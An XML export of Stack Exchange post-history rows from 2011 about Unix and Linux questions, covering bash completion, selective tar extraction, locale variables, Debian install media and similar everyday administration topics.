  <row Id="17564" PostHistoryTypeId="2" PostId="7539" RevisionGUID="a9c3df3f-2913-4fbb-a604-a96d1d4bb5bd" CreationDate="2011-02-16T16:17:46.560" UserDisplayName="Jackson" Text="I'm sure this will be an easy one for a linux guru, but my google searches haven't turned up nothing helpful :(&#xD;&#xA;&#xD;&#xA;I created a new user on our ubuntu server and I no longer have the bash auto/smart completion (pressing tab once finishes your current phrase if possible. Two tabs give you a ls).&#xD;&#xA;&#xD;&#xA;Smart complete works fine as root, but I want to enable it for my user. Thanks." />
  <row Id="17565" PostHistoryTypeId="1" PostId="7539" RevisionGUID="a9c3df3f-2913-4fbb-a604-a96d1d4bb5bd" CreationDate="2011-02-16T16:17:46.560" UserDisplayName="Jackson" Text="bash smart completion for user" />
  <row Id="17566" PostHistoryTypeId="3" PostId="7539" RevisionGUID="a9c3df3f-2913-4fbb-a604-a96d1d4bb5bd" CreationDate="2011-02-16T16:17:46.560" UserDisplayName="Jackson" Text="élinuxàébashà" />
  <row Id="17567" PostHistoryTypeId="17" PostId="7539" RevisionGUID="d179764d-ea54-4d0e-a2ce-002fd23b0c94" CreationDate="2011-02-16T16:41:43.300" UserId="-1" Comment="from http://stackoverflow.com/questions/5018976/bash-smart-completion-for-user" Text="" />
  <row Id="17569" PostHistoryTypeId="2" PostId="7541" RevisionGUID="a22877a6-7548-43ad-acec-39d60272f78c" CreationDate="2011-02-16T16:55:23.367" UserId="3078" Text="If you just want a simpler syntax to type than: &#xD;&#xA;&#xD;&#xA;    cd $(uname -i)&#xD;&#xA;&#xD;&#xA;You could put it in a variable like: &#xD;&#xA;&#xD;&#xA;     s=`uname -i` &#xD;&#xA;&#xD;&#xA;in your login script, so you can just do&#xD;&#xA;&#xD;&#xA;     cd $s&#xD;&#xA;&#xD;&#xA;When you want to cd&#xD;&#xA;" />
  <row Id="17570" PostHistoryTypeId="2" PostId="7542" RevisionGUID="8f918a13-47a3-4916-aaaa-d17d836e1984" CreationDate="2011-02-16T16:55:30.360" UserId="2210" Text="Setting `set disable-completion On` in /etc/inputrc (or ~/.inputrc) will disable readline's autocomplete.  That would cause the Tab key to just tab.&#xD;&#xA;&#xD;&#xA;Possibly having a shell other than bash could cause autocomplete to not work." />
  <row Id="17571" PostHistoryTypeId="25" PostId="7526" RevisionGUID="c45390ee-1bb2-40fb-ab7b-60775a0fe072" CreationDate="2011-02-16T17:22:58.233" Comment="http://twitter.com/#!/StackUnix/status/37924912219824128" />
  <row Id="17572" PostHistoryTypeId="2" PostId="7543" RevisionGUID="3e453561-490b-43f1-8dbd-1e77c4a9fe61" CreationDate="2011-02-16T17:40:31.327" UserId="4667" Text="For one-off things like this, I'd just brute-force it:&#xD;&#xA;&#xD;&#xA;    for f in *.tgz; do &#xD;&#xA;       [[ &quot;$f&quot; != &quot;Broad_hapmap3_r2_Affy6_cels_excluded.tgz&quot; ]] &amp;&amp; tar zxvf &quot;$f&quot;&#xD;&#xA;    done" />
  <row Id="17573" PostHistoryTypeId="5" PostId="7496" RevisionGUID="4f60bb5f-72b3-489e-8d60-92534e4a55ff" CreationDate="2011-02-16T18:08:05.820" UserId="2562" Comment="added information" Text="I'm not sure if hardware questions are alright here, I didn't see many. I am trying to install any Linux operating system on an [eBox 3300][1]. I am having trouble, and the only thing I have been able to get to work is Ubuntu's Netbook Remix. I would rather have fedora/ Debian/ or just about anything else. &#xD;&#xA;&#xD;&#xA;What I really want to know is has anybody here encountered one of these devices and/or used them yourself? If so, what steps did you take to get it going?&#xD;&#xA;&#xD;&#xA;Update for phunehehe's comment:&#xD;&#xA;&#xD;&#xA;The processor is a [Vortex86MX][2], which is a i586 chip, so we have to specifically find i386 OSes instead of i686 (which is slightly more troublesome than one would think). The network card is the R6040 from RDC, which I been unable to get Ubuntu Netbook Remix to recognize. A couple distros (I forget which ones) would not recognize the SD card slot, which is what we are using for storage.&#xD;&#xA;&#xD;&#xA;The specific model is eBox 3300MX-C.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wdlsystems.com/modperl/view_services.cgi?r=detail&amp;prod_num=1EB3MXC&amp;aisle_id=1313&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Vortex86" />
  <row Id="17574" PostHistoryTypeId="5" PostId="7496" RevisionGUID="d4f564e5-3847-42ee-97a5-642215a68a6a" CreationDate="2011-02-16T18:21:09.253" UserId="2562" Comment="added 2 characters in body" Text="I'm not sure if hardware questions are alright here, I didn't see many. I am trying to install any Linux operating system on an [eBox 3300][1]. I am having trouble, and the only thing I have been able to get to work is Ubuntu's Netbook Remix. I would rather have fedora/ Debian/ or just about anything else. &#xD;&#xA;&#xD;&#xA;What I really want to know is has anybody here encountered one of these devices and/or used them yourself? If so, what steps did you take to get it going?&#xD;&#xA;&#xD;&#xA;Update for phunehehe's comment:&#xD;&#xA;&#xD;&#xA;The processor is a [Vortex86MX][2], which is a i586 chip, so we have to specifically find i386 images instead of i686 (which is slightly more troublesome than one would think). The network card is the R6040 from RDC, which I been unable to get Ubuntu Netbook Remix to recognize. A couple distros (I forget which ones) would not recognize the SD card slot, which is what we are using for storage.&#xD;&#xA;&#xD;&#xA;The specific model is eBox 3300MX-C.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wdlsystems.com/modperl/view_services.cgi?r=detail&amp;prod_num=1EB3MXC&amp;aisle_id=1313&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Vortex86" />
  <row Id="17575" PostHistoryTypeId="2" PostId="7544" RevisionGUID="81e69bb0-9367-4eaf-ad96-c931958285fa" CreationDate="2011-02-16T19:12:07.580" UserId="4829" Text="Hello people. I'm looking for some tips and tricks on how to improve the performance of OpenOffice on my desktop. Any ideas, tutorials or articles on this? Thanks in advance!" />
  <row Id="17576" PostHistoryTypeId="1" PostId="7544" RevisionGUID="81e69bb0-9367-4eaf-ad96-c931958285fa" CreationDate="2011-02-16T19:12:07.580" UserId="4829" Text="Improving OpenOffice speed" />
  <row Id="17577" PostHistoryTypeId="3" PostId="7544" RevisionGUID="81e69bb0-9367-4eaf-ad96-c931958285fa" CreationDate="2011-02-16T19:12:07.580" UserId="4829" Text="éperformanceà" />
  <row Id="17578" PostHistoryTypeId="5" PostId="7532" RevisionGUID="437e3375-c6cf-49e7-9146-7be6e2fc76de" CreationDate="2011-02-16T19:22:18.643" UserId="4671" Comment="Minor change" Text="I've got a directory that looks like&#xD;&#xA;&#xD;&#xA;    $ ls&#xD;&#xA;    Broad_hapmap3_r2_Affy6_cels_excluded.tgz  DINGO.tgz                     GIGAS.tgz  index.html          IONIC.tgz             passing_cels_sample_map.txt  SCALE.tgz&#xD;&#xA;    CHEAP.tgz                                 EPODE.tgz                     HOMOS.tgz  index.html?C=M;O=A  LOVED.tgz             PICUL.tgz                    SHELF.tgz&#xD;&#xA;    CORER.tgz                                 excluded_cels_md5.txt         HUFFS.tgz  index.html?C=N;O=D  NIGHS.tgz             POSIT.tgz                    SLOTH.tgz&#xD;&#xA;    CUPID.tgz                                 excluded_cels_sample_map.txt  HUSKS.tgz  index.html?C=S;O=A  passing_cels_md5.txt  SAKES.tgz                    TESLA.tgz&#xD;&#xA;&#xD;&#xA;I want to unzip all the files that match the extension *.tgz with a single command, except Broad_hapmap3_r2_Affy6_cels_excluded.tgz. &#xD;&#xA;&#xD;&#xA;I can do&#xD;&#xA;&#xD;&#xA;    ls *.tgz | xargs -n1 tar zxvf&#xD;&#xA;&#xD;&#xA;for all the *tgz files, but what's a good way to exclude a subset of them? From reading online maybe find is indicated in this situation, but it seems like overkill. Thank in advance.&#xD;&#xA;&#xD;&#xA;Addendum: I'd also be interested in alternative methods to the question without excluding files." />
  <row Id="17579" PostHistoryTypeId="2" PostId="7545" RevisionGUID="8587974a-bcce-4c8e-9d4d-63cbced48579" CreationDate="2011-02-16T19:47:15.540" UserId="885" Text="In zsh:&#xD;&#xA;&#xD;&#xA;    setopt extended_glob&#xD;&#xA;    for z in *.tgz~Broad_hapmap3_r2_Affy6_cels_excluded.tgz; do tar xzf $z; done&#xD;&#xA;&#xD;&#xA;Another possibility in zsh:&#xD;&#xA;&#xD;&#xA;    setopt extended_glob&#xD;&#xA;    zargs -n 1 -- *.tgz~Broad_hapmap3_r2_Affy6_cels_excluded.tgz -- tar xzf&#xD;&#xA;&#xD;&#xA;In ksh (but not bash or zsh as they don't support and patterns):&#xD;&#xA;&#xD;&#xA;    for z in @(*.tgz&amp;!(Broad_hapmap3_r2_Affy6_cels_excluded.tgz); do tar xzf &quot;$z&quot;; done&#xD;&#xA;&#xD;&#xA;Another way in ksh:&#xD;&#xA;&#xD;&#xA;    ( FIGNORE=Broad_hapmap3_r2_Affy6_cels_excluded.tgz;&#xD;&#xA;      for z in *.tgz; do tar xzf &quot;$z&quot;; done )&#xD;&#xA;&#xD;&#xA;In bash:&#xD;&#xA;&#xD;&#xA;    ( GLOB_IGNORE=Broad_hapmap3_r2_Affy6_cels_excluded.tgz;&#xD;&#xA;      for z in *.tgz; do tar xzf &quot;$z&quot;; done )&#xD;&#xA;&#xD;&#xA;In any shell:&#xD;&#xA;&#xD;&#xA;    for z in *.tgz; do&#xD;&#xA;      [ &quot;$z&quot; = Broad_hapmap3_r2_Affy6_cels_excluded.tgz ] || tar xzf &quot;$z&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Yet another hackish way:&#xD;&#xA;&#xD;&#xA;    mv Broad_hapmap3_r2_Affy6_cels_excluded.tgz.not Broad_hapmap3_r2_Affy6_cels_excluded.tgz&#xD;&#xA;    for z in *.tgz; do tar xzf &quot;$z&quot;; done&#xD;&#xA;    mv Broad_hapmap3_r2_Affy6_cels_excluded.tgz Broad_hapmap3_r2_Affy6_cels_excluded.tgz.not&#xD;&#xA;" />
  <row Id="17580" PostHistoryTypeId="6" PostId="7532" RevisionGUID="9d6b05f8-55c2-4ce2-aeb3-3a140f3eb611" CreationDate="2011-02-16T19:47:33.667" UserId="885" Comment="edited tags" Text="éshellàétaràéxargsàéwildcardsà" />
  <row Id="17581" PostHistoryTypeId="2" PostId="7546" RevisionGUID="a54e8652-0835-4981-bb72-9f9dc49102b8" CreationDate="2011-02-16T20:03:09.997" UserId="885" Text="Symbolic links are static: the filesystem just stores a string, and accesses to the symbolic link are redirected to the file whose name (relative to the location of the symlink) is that string.&#xD;&#xA;&#xD;&#xA;It would be simple to write a [FUSE](http://fuse.sourceforge.net/) filesystem exposing such dynamic symlinks, but I don't know of an existing one.&#xD;&#xA;" />
  <row Id="17582" PostHistoryTypeId="5" PostId="7545" RevisionGUID="a96a6a05-a696-43f7-93f3-05ebb9b24f0f" CreationDate="2011-02-16T20:11:01.393" UserId="885" Comment="fixed order of mv commands; added find examples" Text="In zsh:&#xD;&#xA;&#xD;&#xA;    setopt extended_glob&#xD;&#xA;    for z in *.tgz~Broad_hapmap3_r2_Affy6_cels_excluded.tgz; do tar xzf $z; done&#xD;&#xA;&#xD;&#xA;Another possibility in zsh:&#xD;&#xA;&#xD;&#xA;    setopt extended_glob&#xD;&#xA;    zargs -n 1 -- *.tgz~Broad_hapmap3_r2_Affy6_cels_excluded.tgz -- tar xzf&#xD;&#xA;&#xD;&#xA;In ksh (but not bash or zsh as they don't support and patterns):&#xD;&#xA;&#xD;&#xA;    for z in @(*.tgz&amp;!(Broad_hapmap3_r2_Affy6_cels_excluded.tgz); do tar xzf &quot;$z&quot;; done&#xD;&#xA;&#xD;&#xA;Another way in ksh:&#xD;&#xA;&#xD;&#xA;    ( FIGNORE=Broad_hapmap3_r2_Affy6_cels_excluded.tgz;&#xD;&#xA;      for z in *.tgz; do tar xzf &quot;$z&quot;; done )&#xD;&#xA;&#xD;&#xA;In bash:&#xD;&#xA;&#xD;&#xA;    ( GLOB_IGNORE=Broad_hapmap3_r2_Affy6_cels_excluded.tgz;&#xD;&#xA;      for z in *.tgz; do tar xzf &quot;$z&quot;; done )&#xD;&#xA;&#xD;&#xA;In any shell:&#xD;&#xA;&#xD;&#xA;    for z in *.tgz; do&#xD;&#xA;      [ &quot;$z&quot; = Broad_hapmap3_r2_Affy6_cels_excluded.tgz ] || tar xzf &quot;$z&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Yet another hackish way:&#xD;&#xA;&#xD;&#xA;    mv Broad_hapmap3_r2_Affy6_cels_excluded.tgz Broad_hapmap3_r2_Affy6_cels_excluded.tgz.not&#xD;&#xA;    for z in *.tgz; do tar xzf &quot;$z&quot;; done&#xD;&#xA;    mv Broad_hapmap3_r2_Affy6_cels_excluded.tgz.not Broad_hapmap3_r2_Affy6_cels_excluded.tgz&#xD;&#xA;&#xD;&#xA;If you also want to act on files in subdirectories, find is the natural tool to turn to. The recursive examples below exclude files named `Broad_hapmap3_r2_Affy6_cels_excluded.tgz` in any subdirectory.&#xD;&#xA;&#xD;&#xA;    find . -name '*.tgz' -type f \&#xD;&#xA;           \! -name Broad_hapmap3_r2_Affy6_cels_excluded.tgz \&#xD;&#xA;           -exec tar xzf {} \;&#xD;&#xA;&#xD;&#xA;For a recursive traversal in zsh or bash ≥4, you can use `**` in patterns. In zsh:&#xD;&#xA;&#xD;&#xA;    setopt extended_glob&#xD;&#xA;    zargs -n 1 -- **/*.tgz~**/Broad_hapmap3_r2_Affy6_cels_excluded.tgz -- tar xzf&#xD;&#xA;&#xD;&#xA;In bash ≥4:&#xD;&#xA;&#xD;&#xA;    shopt -s globstar&#xD;&#xA;    ( GLOB_IGNORE=Broad_hapmap3_r2_Affy6_cels_excluded.tgz;&#xD;&#xA;      for z in **/*.tgz; do tar xzf &quot;$z&quot;; done )&#xD;&#xA;&#xD;&#xA;You can even use find if you don't want a recursive traversal, though it's not the most convenient way then.&#xD;&#xA;&#xD;&#xA;    find *.tgz  -type f \&#xD;&#xA;                \! -name Broad_hapmap3_r2_Affy6_cels_excluded.tgz \&#xD;&#xA;                -exec tar xzf {} \;&#xD;&#xA;" />
  <row Id="17583" PostHistoryTypeId="5" PostId="7539" RevisionGUID="dea4806f-7dc9-4c32-b8e7-7719dd142886" CreationDate="2011-02-16T20:14:42.340" UserId="688" Comment="rm apology" Text="I created a new user on our Ubuntu server and I no longer have the bash auto/smart completion (pressing tab once finishes your current phrase if possible. Two tabs give you a `ls`).&#xD;&#xA;&#xD;&#xA;Smart complete works fine as root, but I want to enable it for my user." />
  <row Id="17584" PostHistoryTypeId="4" PostId="7539" RevisionGUID="dea4806f-7dc9-4c32-b8e7-7719dd142886" CreationDate="2011-02-16T20:14:42.340" UserId="688" Comment="rm apology" Text="I no longer have smart bash completion for normal user" />
  <row Id="17585" PostHistoryTypeId="6" PostId="7516" RevisionGUID="ff21edc6-a168-44ab-bbae-3a33b61f54d3" CreationDate="2011-02-16T20:15:02.387" UserId="885" Comment="edited tags" Text="élinuxàékernelàékexecà" />
  <row Id="17586" PostHistoryTypeId="25" PostId="7539" RevisionGUID="7db2d938-b459-43be-8beb-d95171bee3f8" CreationDate="2011-02-16T20:22:58.657" Comment="http://twitter.com/#!/StackUnix/status/37970211990675456" />
  <row Id="17587" PostHistoryTypeId="2" PostId="7547" RevisionGUID="a259abc8-8d4b-4884-9029-d4ca857978bb" CreationDate="2011-02-16T20:24:07.690" UserId="885" Text="You're not giving enough context, but I suspect he meant the historical Unix implementation (from the late 60s to early 80s), which indeed didn't have loadable modules. Linux was one of the first unices to get loadable modules, but I think SunOS (then not called Solaris) was there first.&#xD;&#xA;" />
  <row Id="17588" PostHistoryTypeId="6" PostId="7526" RevisionGUID="3283987a-15a9-401e-80ad-d79c07563e7a" CreationDate="2011-02-16T20:24:19.220" UserId="885" Comment="edited tags" Text="élinuxàékernelàéunixàéhistoryàémoduleà" />
  <row Id="17589" PostHistoryTypeId="6" PostId="7515" RevisionGUID="c9406a6b-29ec-4c1b-aba9-501a99b9df74" CreationDate="2011-02-16T20:25:47.930" UserId="885" Comment="edited tags" Text="éparallelà" />
  <row Id="17590" PostHistoryTypeId="6" PostId="7524" RevisionGUID="4dd5ff4f-de7e-4741-b392-f7ecc88a76f3" CreationDate="2011-02-16T20:26:13.220" UserId="885" Comment="edited tags" Text="ébootàérhelàélogsà" />
  <row Id="17591" PostHistoryTypeId="2" PostId="7548" RevisionGUID="aa93cfab-9165-475e-a85b-7bb5406503b4" CreationDate="2011-02-16T20:27:27.763" UserId="3999" Text="From [Zac Thompson's link][1] to [GNU gettext utilities][2] section [2.3 Setting the Locale through Environment Variables][3] the sub-section [The LANGUAGE variable][4]:&#xD;&#xA;&#xD;&#xA;&gt; In the LANGUAGE environment variable, but not in the other environment variables, ‘ll_CC’ combinations can be abbreviated as ‘ll’ to denote the language's main dialect. For example, ‘de’ is equivalent to ‘de_DE’ (German as spoken in Germany), and ‘pt’ to ‘pt_PT’ (Portuguese as spoken in Portugal) in this context.&#xD;&#xA;&#xD;&#xA;Makes the point that only `LANGUAGE` but not `LANG` supports the abbreviation of &quot;es_MX&quot; to  &quot;es&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7337/why-does-locale-es-mx-work-but-not-es/7341#7341&#xD;&#xA;  [2]: http://www.gnu.org/software/gettext/manual/gettext.html#Setting-the-POSIX-Locale&#xD;&#xA;  [3]: http://www.gnu.org/software/gettext/manual/gettext.html#Setting-the-POSIX-Locale&#xD;&#xA;  [4]: http://www.gnu.org/software/gettext/manual/gettext.html#The-LANGUAGE-variable" />
  <row Id="17592" PostHistoryTypeId="6" PostId="7517" RevisionGUID="38c49d66-a419-4793-b674-21d6e5c587be" CreationDate="2011-02-16T20:29:07.990" UserId="885" Comment="edited tags" Text="élinuxàékernelàébooksàédriversà" />
  <row Id="17593" PostHistoryTypeId="12" PostId="7548" RevisionGUID="4746aeda-3f67-4f9c-ae3c-cb536648e28c" CreationDate="2011-02-16T20:29:52.360" UserId="3999" Text="[{&quot;Id&quot;:3999,&quot;DisplayName&quot;:&quot;C.W.Holeman II&quot;}]" />
  <row Id="17594" PostHistoryTypeId="13" PostId="7548" RevisionGUID="e0bff315-cc43-491b-b4c4-683e43ab1eae" CreationDate="2011-02-16T20:30:06.560" UserId="3999" Text="[{&quot;Id&quot;:3999,&quot;DisplayName&quot;:&quot;C.W.Holeman II&quot;}]" />
  <row Id="17595" PostHistoryTypeId="6" PostId="7509" RevisionGUID="b1f68fd2-9d7e-4ecf-b91b-dbc060f1f35b" CreationDate="2011-02-16T20:31:09.447" UserId="885" Comment="edited tags" Text="ésoftwareörecàécentosàéremoteödesktopà" />
  <row Id="17596" PostHistoryTypeId="6" PostId="7505" RevisionGUID="50420fbd-3efc-46bd-857a-8b52434cb2b3" CreationDate="2011-02-16T20:31:51.600" UserId="885" Comment="edited tags" Text="éubuntuàégnomeàéskypeà" />
  <row Id="17597" PostHistoryTypeId="5" PostId="7548" RevisionGUID="2c77aceb-f06e-48c4-b4b6-814c252bb07f" CreationDate="2011-02-16T20:33:49.760" UserId="3999" Comment="deleted 10 characters in body" Text="From [Zac Thompson's link][1] to [GNU gettext utilities][2] section [2.3 Setting the Locale through Environment Variables][3] the sub-section [The LANGUAGE variable][4]:&#xD;&#xA;&#xD;&#xA;&gt; In the LANGUAGE environment variable, but not in the other environment variables, ‘ll_CC’ combinations can be abbreviated as ‘ll’ to denote the language's main dialect. For example, ‘de’ is equivalent to ‘de_DE’ (German as spoken in Germany), and ‘pt’ to ‘pt_PT’ (Portuguese as spoken in Portugal) in this context.&#xD;&#xA;&#xD;&#xA;Makes the point that &quot;es&quot; is an abbreviation that only `LANGUAGE` but not `LANG` supports.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7337/why-does-locale-es-mx-work-but-not-es/7341#7341&#xD;&#xA;  [2]: http://www.gnu.org/software/gettext/manual/gettext.html#Setting-the-POSIX-Locale&#xD;&#xA;  [3]: http://www.gnu.org/software/gettext/manual/gettext.html#Setting-the-POSIX-Locale&#xD;&#xA;  [4]: http://www.gnu.org/software/gettext/manual/gettext.html#The-LANGUAGE-variable" />
  <row Id="17598" PostHistoryTypeId="2" PostId="7549" RevisionGUID="a5bbbb46-2e46-474c-8d0b-40c2f505cb38" CreationDate="2011-02-16T20:41:29.183" UserId="3378" Text="Hello. I just want to install the operating system and SSH printserver .&#xD;&#xA;I just burned the first DVD of the 8 avaible for the amd64 architecture. &#xD;&#xA;How many DVDs should i burn in order the operating system to install ?&#xD;&#xA;Note: Connection is slow as hell that is why i choose DVD solution" />
  <row Id="17599" PostHistoryTypeId="1" PostId="7549" RevisionGUID="a5bbbb46-2e46-474c-8d0b-40c2f505cb38" CreationDate="2011-02-16T20:41:29.183" UserId="3378" Text="Debian  6  installation DVD required" />
  <row Id="17600" PostHistoryTypeId="3" PostId="7549" RevisionGUID="a5bbbb46-2e46-474c-8d0b-40c2f505cb38" CreationDate="2011-02-16T20:41:29.183" UserId="3378" Text="édebianàéinstallà" />
  <row Id="17601" PostHistoryTypeId="2" PostId="7550" RevisionGUID="c2ed4d0d-c872-4130-8ae9-96cbedfcf0f8" CreationDate="2011-02-16T20:49:23.773" UserId="688" Text="Only the first is enough. It will even have at least one complete Desktop environment, GNOME. The way the content is organised is such that the most popular packages (according to [popcon][1]) are in the earlier discs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://popcon.debian.org/" />
  <row Id="17602" PostHistoryTypeId="2" PostId="7551" RevisionGUID="a64fbaa9-7f1c-4d88-b1c4-f78548e0fcbd" CreationDate="2011-02-16T21:26:53.563" UserId="4485" Text="Does your harddisk-LED burn after startup of OOorg? Then you're probably depending on swap, which is always slow. Buy more RAM if possible. " />
  <row Id="17603" PostHistoryTypeId="5" PostId="2898" RevisionGUID="22edf142-880a-4e1e-96a4-cefd0366e585" CreationDate="2011-02-16T21:52:49.013" UserId="4831" Comment="added that current version (0.2.10-0ubuntu1+goehle4) also works in ubuntu 10.10" Text="This is a [known bug/missing feature][1] in Evolution. &#xD;&#xA;&#xD;&#xA;If you don't mind installing software from a [PPA][2], you can install Geoff Goehle's patched evolution/evolution-indicator. This should give you an option in Evolution's plugin configuration to &quot;hide it in the applet&quot; if it is closed:&#xD;&#xA; &#xD;&#xA;https://launchpad.net/~goehle/+archive/goehle-ppa&#xD;&#xA;&#xD;&#xA;To add the PPA to your software sources, go to `System &gt; Administration &gt; Software Sources &gt; Other Software` and click Add, then enter ``ppa:goehle/goehle-ppa`` as a source. Or you can use the command ``sudo add-apt-repository ppa:goehle/goehle-ppa`` in a terminal.&#xD;&#xA;&#xD;&#xA;The PPA works in 10.04 and 10.10 at the moment.&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/evolution-indicator/+bug/460483&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Repositories/Ubuntu#Adding%20PPAs" />
  <row Id="17604" PostHistoryTypeId="24" PostId="2898" RevisionGUID="63948240-8239-4b0d-8e0e-f9ae74705ae7" CreationDate="2011-02-16T21:52:49.013" Comment="Proposed by 4831 approved by 885 edit id of 28" />
  <row Id="17605" PostHistoryTypeId="17" PostId="7553" RevisionGUID="e8a6cdda-c206-4892-b881-2e84cd9a9ece" CreationDate="2011-02-16T22:52:38.333" UserId="-1" Comment="from http://serverfault.com/questions/236006/what-could-cause-large-pagefault-latencies-in-linux/236010#236010" Text="" />
  <row Id="17606" PostHistoryTypeId="2" PostId="7553" RevisionGUID="dbbfe2cd-e376-4133-bd0a-972834b59717" CreationDate="2011-02-16T01:46:06.637" UserDisplayName="coredump" Text="Maybe the answers on [this question][1] may help you out. Page faults occur even on the absence of swap, when the program tries to access a part of the virtual memory that is mapped but not yet on the physical memory like data from an on-disk file. The correct term for that technique is [Demand Paging][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5336/how-is-paging-managed-in-the-absence-of-swapping&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Demand_paging" />
  <row Id="17607" PostHistoryTypeId="2" PostId="7552" RevisionGUID="e55e2b51-46d5-4797-8237-e999ae5e6630" CreationDate="2011-02-16T01:27:38.717" UserDisplayName="wickedchicken" Text="I'm running a Linux netbook with an SSD. Since the SSD is slow (and I don't want to wear it out) I've been running without swap. So far this has been great, but I recently put a new kernel on (2.6.37) and noticed some slowdown. During this the disk drive light on my netbook stays on. LatencyTOP is only partially helpful in this, while one 3s (that's *seconds* not ms) delay is for 'disk write (synchronous),' one is 2s for 'page fault.' I don't understand why there would be much of a penalty for a page fault at all since I'm not using swap to begin with (and seem to have a lot of free/cached memory). What could be the cause of this, and is there a way to resolve it? Is such a high latency for page faults even harmful or is the problem elsewhere?" />
  <row Id="17608" PostHistoryTypeId="1" PostId="7552" RevisionGUID="e55e2b51-46d5-4797-8237-e999ae5e6630" CreationDate="2011-02-16T01:27:38.717" UserDisplayName="wickedchicken" Text="what could cause large pagefault latencies in linux?" />
  <row Id="17609" PostHistoryTypeId="3" PostId="7552" RevisionGUID="e55e2b51-46d5-4797-8237-e999ae5e6630" CreationDate="2011-02-16T01:27:38.717" UserDisplayName="wickedchicken" Text="élinuxàéperformanceà" />
  <row Id="17610" PostHistoryTypeId="17" PostId="7552" RevisionGUID="5942faa8-2ba5-4eff-ad8e-4e3d7f9fbd04" CreationDate="2011-02-16T22:52:38.333" UserId="-1" Comment="from http://serverfault.com/questions/236006/what-could-cause-large-pagefault-latencies-in-linux" Text="" />
  <row Id="17611" PostHistoryTypeId="25" PostId="7549" RevisionGUID="069e3ba6-d803-450e-91c0-0c5e3837f5e0" CreationDate="2011-02-16T23:22:58.997" Comment="http://twitter.com/#!/StackUnix/status/38015511832956928" />
  <row Id="17612" PostHistoryTypeId="2" PostId="7554" RevisionGUID="7c0633c0-f55d-4e93-a303-2949df5506a8" CreationDate="2011-02-16T23:24:18.310" UserId="4520" Text="I assume this is binaries, so I would do it with a PATH variable rater than symlink. &#xD;&#xA;&#xD;&#xA;`PATH=$PATH:/base/$ARCH/bin`.&#xD;&#xA;&#xD;&#xA;If you are using a tool like cfengine or puppet.  A symlink to the appropriate directory can be created based on the system architecture.&#xD;&#xA;" />
  <row Id="17613" PostHistoryTypeId="2" PostId="7555" RevisionGUID="4ccd1e22-e34f-48ec-a253-3be856177a3f" CreationDate="2011-02-16T23:47:25.643" UserId="3999" Text="Using GUI `gnome-volume-control`:&#xD;&#xA;&#xD;&#xA;    Sound Preferences&#xD;&#xA;    -----------------&#xD;&#xA;&#xD;&#xA;    Output Volume: [--------------+      ]&#xD;&#xA;                                 ||&#xD;&#xA;                      Unamplified 100%&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;the volume can be adjusted at will. When using the keyboard volume-up and volume-down function keys the volume may be lowered at will but raising the volume is limited to the &quot;Unamplified 100%&quot; level.&#xD;&#xA;&#xD;&#xA;Is there a way around this limitation?&#xD;&#xA;&#xD;&#xA;&gt; Linux road 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux&#xD;&#xA;" />
  <row Id="17614" PostHistoryTypeId="1" PostId="7555" RevisionGUID="4ccd1e22-e34f-48ec-a253-3be856177a3f" CreationDate="2011-02-16T23:47:25.643" UserId="3999" Text="Volume up/down function keys limited to gnome-volume-control &quot;Unamplified 100%&quot; level." />
  <row Id="17615" PostHistoryTypeId="3" PostId="7555" RevisionGUID="4ccd1e22-e34f-48ec-a253-3be856177a3f" CreationDate="2011-02-16T23:47:25.643" UserId="3999" Text="éaudioà" />
  <row Id="17616" PostHistoryTypeId="25" PostId="7555" RevisionGUID="3f081396-6e3a-4b37-b3f9-8cf8df3f9885" CreationDate="2011-02-17T02:22:59.647" Comment="http://twitter.com/#!/StackUnix/status/38060812706918401" />
  <row Id="17617" PostHistoryTypeId="2" PostId="7556" RevisionGUID="ada8df72-4496-4216-87de-63febe76b908" CreationDate="2011-02-17T03:09:48.323" UserId="4820" Text="Some people told me FreeBSD is NOT Unix, is that right? confused.&#xD;&#xA;I checked some articles, the expressions are pretty vague. Need clarification. Thank you all." />
  <row Id="17618" PostHistoryTypeId="1" PostId="7556" RevisionGUID="ada8df72-4496-4216-87de-63febe76b908" CreationDate="2011-02-17T03:09:48.323" UserId="4820" Text="Some people told me FreeBSD is NOT Unix, is that right? confused." />
  <row Id="17619" PostHistoryTypeId="3" PostId="7556" RevisionGUID="ada8df72-4496-4216-87de-63febe76b908" CreationDate="2011-02-17T03:09:48.323" UserId="4820" Text="éunixàéfreebsdà" />
  <row Id="17620" PostHistoryTypeId="2" PostId="7557" RevisionGUID="17ace8db-5385-4ba5-aff7-feb756e32f28" CreationDate="2011-02-17T03:35:12.753" UserId="3082" Text="The word `Unix` is actually a trademark name that refers to System V Unix. So &quot;legally&quot; it is not Unix. But it is related and &quot;looks&quot; like Unix, so it is often called Unix, or Unix-like. http://en.wikipedia.org/wiki/Unix" />
  <row Id="17621" PostHistoryTypeId="2" PostId="7558" RevisionGUID="b9100cae-09c1-4b0e-92c2-769d4db3a053" CreationDate="2011-02-17T04:26:08.900" UserId="4249" Text="I want to run a java command once for every match of `ls | grep pattern -`. In this case, I think I could do `find pattern -exec java MyProg '{}' \;` but I'm curious about the general case - is there an easy way to say &quot;run a command once for every line of standard input&quot;? (In fish or bash.)" />
  <row Id="17622" PostHistoryTypeId="1" PostId="7558" RevisionGUID="b9100cae-09c1-4b0e-92c2-769d4db3a053" CreationDate="2011-02-17T04:26:08.900" UserId="4249" Text="Execute a command once per line of piped input?" />
  <row Id="17623" PostHistoryTypeId="3" PostId="7558" RevisionGUID="b9100cae-09c1-4b0e-92c2-769d4db3a053" CreationDate="2011-02-17T04:26:08.900" UserId="4249" Text="ébashàéshellàéfishà" />
